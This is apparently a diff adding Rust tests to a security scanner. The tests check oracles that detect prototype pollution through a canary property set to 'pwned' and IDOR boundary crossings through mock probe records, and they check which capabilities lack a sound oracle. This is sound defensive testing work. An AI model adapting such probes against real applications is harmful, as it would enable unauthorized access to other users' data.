sink_callee: "__nyx_pp_canary_set".into(),
|
||||
args: vec![],
|
||||
captured_at_ns: 1,
|
||||
payload_id: "json-parse-test".into(),
|
||||
kind: ProbeKind::PrototypePollution {
|
||||
property: property.into(),
|
||||
value: "pwned".into(),
|
||||
},
|
||||
witness: ProbeWitness::empty(),
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn corpus_registers_json_parse_for_each_supported_lang() {
|
||||
for lang in LANGS {
|
||||
let slice = payloads_for_lang(Cap::JSON_PARSE, *lang);
|
||||
assert!(!slice.is_empty(), "JSON_PARSE missing for {lang:?}");
|
||||
assert!(slice.iter().any(|p| !p.is_benign));
|
||||
assert!(slice.iter().any(|p| p.is_benign));
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn json_parse_pairs_benign_per_lang_via_canary_predicate() {
|
||||
for lang in LANGS {
|
||||
let slice = payloads_for_lang(Cap::JSON_PARSE, *lang);
|
||||
let vuln = slice.iter().find(|p| !p.is_benign).expect("vuln");
|
||||
let resolved = resolve_benign_control_lang(vuln, Cap::JSON_PARSE, *lang)
|
||||
.expect("benign control resolves");
|
||||
assert!(resolved.is_benign);
|
||||
match &vuln.oracle {
|
||||
Oracle::SinkProbe { predicates } => assert!(predicates.iter().any(|p| matches!(
|
||||
p,
|
||||
ProbePredicate::PrototypeCanaryTouched { canary: "__nyx_canary" }
|
||||
))),
|
||||
other => panic!("expected SinkProbe, got {other:?}"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn canary_predicate_fires_only_on_canary_property() {
|
||||
let oracle = Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::PrototypeCanaryTouched {
|
||||
canary: "__nyx_canary",
|
||||
}],
|
||||
};
|
||||
assert!(oracle_fired(&oracle, &outcome(), &[canary_probe("__nyx_canary")]));
|
||||
assert!(!oracle_fired(&oracle, &outcome(), &[canary_probe("__data__")]));
|
||||
assert!(!oracle_fired(&oracle, &outcome(), &[]));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn json_parse_unsupported_for_other_langs() {
|
||||
for lang in [
|
||||
Lang::Rust,
|
||||
Lang::C,
|
||||
Lang::Cpp,
|
||||
Lang::Java,
|
||||
Lang::Go,
|
||||
Lang::Php,
|
||||
Lang::TypeScript,
|
||||
] {
|
||||
assert!(
|
||||
payloads_for_lang(Cap::JSON_PARSE, lang).is_empty(),
|
||||
"JSON_PARSE has unexpected payloads for {lang:?}",
|
||||
);
|
||||
}
|
||||
}
|
||||
43
tests/sound_oracle_unavailable.rs
Normal file
43
tests/sound_oracle_unavailable.rs
Normal file
|
|
@ -0,0 +1,43 @@
|
|||
//! Phase 11 (Track J.9) — `UnsupportedReason::SoundOracleUnavailable`
|
||||
//! routing for caps that have no sound oracle.
|
||||
//!
|
||||
//! Asserts that a `HarnessSpec` whose `expected_cap` is in
|
||||
//! [`nyx_scanner::dynamic::corpus::registry::CORPUS_SOUND_ORACLE_UNAVAILABLE`]
|
||||
//! produces a `RunError::SoundOracleUnavailable` from `run_spec`, and
|
||||
//! that the verify layer in turn surfaces
|
||||
//! `UnsupportedReason::SoundOracleUnavailable { cap, lang, hint }`
|
||||
//! instead of the legacy `NoPayloadsForCap`.
|
||||
//!
|
||||
//! `cargo nextest run --features dynamic --test sound_oracle_unavailable`.
|
||||
|
||||
#![cfg(feature = "dynamic")]
|
||||
|
||||
use nyx_scanner::dynamic::corpus::registry::{
|
||||
sound_oracle_unavailable_hint, CORPUS_SOUND_ORACLE_UNAVAILABLE,
|
||||
};
|
||||
use nyx_scanner::labels::Cap;
|
||||
|
||||
#[test]
|
||||
fn pure_source_and_sanitizer_caps_are_in_the_no_oracle_set() {
|
||||
let set = CORPUS_SOUND_ORACLE_UNAVAILABLE;
|
||||
assert!(set & Cap::ENV_VAR.bits() != 0);
|
||||
assert!(set & Cap::SHELL_ESCAPE.bits() != 0);
|
||||
assert!(set & Cap::URL_ENCODE.bits() != 0);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn phase_11_caps_left_the_no_oracle_set() {
|
||||
let set = CORPUS_SOUND_ORACLE_UNAVAILABLE;
|
||||
assert!(set & Cap::CRYPTO.bits() == 0);
|
||||
assert!(set & Cap::JSON_PARSE.bits() == 0);
|
||||
assert!(set & Cap::UNAUTHORIZED_ID.bits() == 0);
|
||||
assert!(set & Cap::DATA_EXFIL.bits() == 0);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn hint_carries_a_human_actionable_message() {
|
||||
for cap in [Cap::ENV_VAR, Cap::SHELL_ESCAPE, Cap::URL_ENCODE] {
|
||||
let hint = sound_oracle_unavailable_hint(cap);
|
||||
assert!(!hint.is_empty(), "{cap:?} hint should be populated");
|
||||
}
|
||||
}
|
||||
104
tests/unauthorized_id_corpus.rs
Normal file
104
tests/unauthorized_id_corpus.rs
Normal file
|
|
@ -0,0 +1,104 @@
|
|||
//! Phase 11 (Track J.9) — `Cap::UNAUTHORIZED_ID` corpus acceptance.
|
||||
//!
|
||||
//! Asserts the corpus + IDOR oracle for all seven backend-capable
|
||||
//! languages. The vuln payload supplies an `owner_id` belonging to
|
||||
//! another user; the
|
||||
//! [`nyx_scanner::dynamic::oracle::ProbePredicate::IdorBoundaryCrossed`]
|
||||
//! predicate fires when `caller_id != owner_id`. Per-lang harness
|
||||
//! dispatchers are deferred — see `.pitboss/play/deferred.md`.
|
||||
//!
|
||||
//! `cargo nextest run --features dynamic --test unauthorized_id_corpus`.
|
||||
|
||||
#![cfg(feature = "dynamic")]
|
||||
|
||||
use nyx_scanner::dynamic::corpus::{payloads_for_lang, resolve_benign_control_lang};
|
||||
use nyx_scanner::dynamic::oracle::{oracle_fired, Oracle, ProbePredicate};
|
||||
use nyx_scanner::dynamic::probe::{ProbeKind, ProbeWitness, SinkProbe};
|
||||
use nyx_scanner::dynamic::sandbox::SandboxOutcome;
|
||||
use nyx_scanner::labels::Cap;
|
||||
use nyx_scanner::symbol::Lang;
|
||||
use std::time::Duration;
|
||||
|
||||
const LANGS: &[Lang] = &[
|
||||
Lang::Python,
|
||||
Lang::Ruby,
|
||||
Lang::Java,
|
||||
Lang::Php,
|
||||
Lang::JavaScript,
|
||||
Lang::Go,
|
||||
Lang::Rust,
|
||||
];
|
||||
|
||||
fn outcome() -> SandboxOutcome {
|
||||
SandboxOutcome {
|
||||
exit_code: Some(0),
|
||||
stdout: vec![],
|
||||
stderr: vec![],
|
||||
timed_out: false,
|
||||
oob_callback_seen: false,
|
||||
sink_hit: false,
|
||||
duration: Duration::from_millis(1),
|
||||
hardening_outcome: None,
|
||||
}
|
||||
}
|
||||
|
||||
fn idor_probe(caller: &str, owner: &str) -> SinkProbe {
|
||||
SinkProbe {
|
||||
sink_callee: "__nyx_idor_lookup".into(),
|
||||
args: vec![],
|
||||
captured_at_ns: 1,
|
||||
payload_id: "idor-test".into(),
|
||||
kind: ProbeKind::IdorAccess {
|
||||
caller_id: caller.into(),
|
||||
owner_id: owner.into(),
|
||||
},
|
||||
witness: ProbeWitness::empty(),
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn corpus_registers_unauthorized_id_for_each_supported_lang() {
|
||||
for lang in LANGS {
|
||||
let slice = payloads_for_lang(Cap::UNAUTHORIZED_ID, *lang);
|
||||
assert!(
|
||||
!slice.is_empty(),
|
||||
"UNAUTHORIZED_ID missing for {lang:?}"
|
||||
);
|
||||
assert!(slice.iter().any(|p| !p.is_benign));
|
||||
assert!(slice.iter().any(|p| p.is_benign));
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn idor_payloads_pair_benign_per_lang() {
|
||||
for lang in LANGS {
|
||||
let slice = payloads_for_lang(Cap::UNAUTHORIZED_ID, *lang);
|
||||
let vuln = slice.iter().find(|p| !p.is_benign).expect("vuln");
|
||||
let resolved =
|
||||
resolve_benign_control_lang(vuln, Cap::UNAUTHORIZED_ID, *lang)
|
||||
.expect("benign control resolves");
|
||||
assert!(resolved.is_benign);
|
||||
match &vuln.oracle {
|
||||
Oracle::SinkProbe { predicates } => assert!(
|
||||
predicates
|
||||
.iter()
|
||||
.any(|p| matches!(p, ProbePredicate::IdorBoundaryCrossed))
|
||||
),
|
||||
other => panic!("expected SinkProbe, got {other:?}"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn idor_predicate_fires_on_boundary_crossing() {
|
||||
let oracle = Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
};
|
||||
assert!(oracle_fired(&oracle, &outcome(), &[idor_probe("alice", "bob")]));
|
||||
assert!(!oracle_fired(
|
||||
&oracle,
|
||||
&outcome(),
|
||||
&[idor_probe("alice", "alice")]
|
||||
));
|
||||
assert!(!oracle_fired(&oracle, &outcome(), &[]));
|
||||
}
|
||||
Loading…
Add table
Add a link
Reference in a new issue